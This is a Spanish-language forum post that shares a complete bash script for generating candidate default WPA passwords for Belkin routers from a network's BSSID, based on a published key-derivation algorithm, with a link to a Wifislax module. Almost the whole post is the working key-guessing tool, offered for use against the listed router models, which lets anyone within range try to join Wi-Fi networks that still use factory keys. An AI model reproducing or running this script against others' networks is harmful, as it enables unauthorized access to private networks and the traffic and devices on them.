Hola.
Os comparto este script en bash que calcula la clave WPA de los routers Belkin, lo he hecho basándome en los algoritmos que se explican en este post:
[Enlace externo eliminado para invitados]
El script da de 4 a 10 posibles claves, dependiendo del BSSID que se introduzca.
Script:
Mostrar/Ocultar
#!/bin/bash
Bienvenida() {
cat << EOF
- Generador de claves WPA para routers Belkin
- By geminis_demon 22/03/2014
- Basado en algoritmo de Numlock
Routers soportados:
94:44:52:XX:XX:XX Belkin.XXXX
08:86:3B:XX:XX:XX Belkin_XXXXXX
08:86:3B:XX:XX:XX belkin.xxx
EC:1A:59:XX:XX:XX belkin.xxx
94:44:52:XX:XX:XX belkin.xxxx
Ejemplo de uso: $0 94:44:52:89:D7:E5
EOF
}
Calcular(){
N=${BSSID:4:8}
case $MODE in
0)
N=${N:5:1}${N:1:1}${N:2:1}${N:7:1}${N:4:1}${N:0:1}${N:6:1}${N:3:1}
;;
1)
N=${N:0:7}$((${N:7:1}+1))
N=${N:5:1}${N:1:1}${N:2:1}${N:7:1}${N:4:1}${N:0:1}${N:6:1}${N:3:1}
;;
2)
N=${N:0:7}$((${N:7:1}+2))
N=${N:5:1}${N:1:1}${N:2:1}${N:7:1}${N:4:1}${N:0:1}${N:6:1}${N:3:1}
;;
3)
N=${N:0:7}$((${N:7:1}+1))
N=${N:0:1}${N:1:1}${N:2:1}${N:7:1}${N:4:1}${N:0:1}${N:6:1}${N:3:1}
;;
4)
N=${N:0:7}$((${N:7:1}+1))
N=${N:0:1}${N:1:1}${N:2:1}${N:7:1}${N:4:1}${N:5:1}${N:6:1}${N:3:1}
;;
esac
for ((X=0;$X<=7;X++)); do
Y=${N:$X:1}
case $Y in
1) Y=2;;
2) Y=4;;
3) Y=6;;
4) Y=1;;
5) Y=3;;
6) Y=5;;
9) Y=A;;
A) Y=C;;
B) Y=E;;
C) Y=9;;
D) Y=B;;
E) Y=D;;
esac
KEY=${KEY}$Y
done
echo $KEY
unset KEY
for ((X=0;$X<=7;X++)); do
Y=${N:$X:1}
case $Y in
0) Y=9;;
1) Y=4;;
2) Y=4;;
3) Y=6;;
4) Y=2;;
5) Y=6;;
6) Y=3;;
9) Y=A;;
A) Y=C;;
B) Y=E;;
C) Y=9;;
D) Y=B;;
E) Y=D;;
esac
KEY=${KEY}$Y
done
KEY=$(echo $KEY|tr '[:upper:]' '[:lower:]')
echo $KEY
unset KEY
}
BSSID=$(echo "$1"|tr -d ':'|tr '[:lower:]' '[:upper:]')
[ ! "$BSSID" ] || [ ${#BSSID} -ne 12 ] && Bienvenida && exit 1
for MODE in 0 1 2 3 4; do Calcular; done|sort -u
MODULO (Para Wifislax): [Enlace externo eliminado para invitados]
MD5: 5dbbd89ee22e02813704a60a905fe473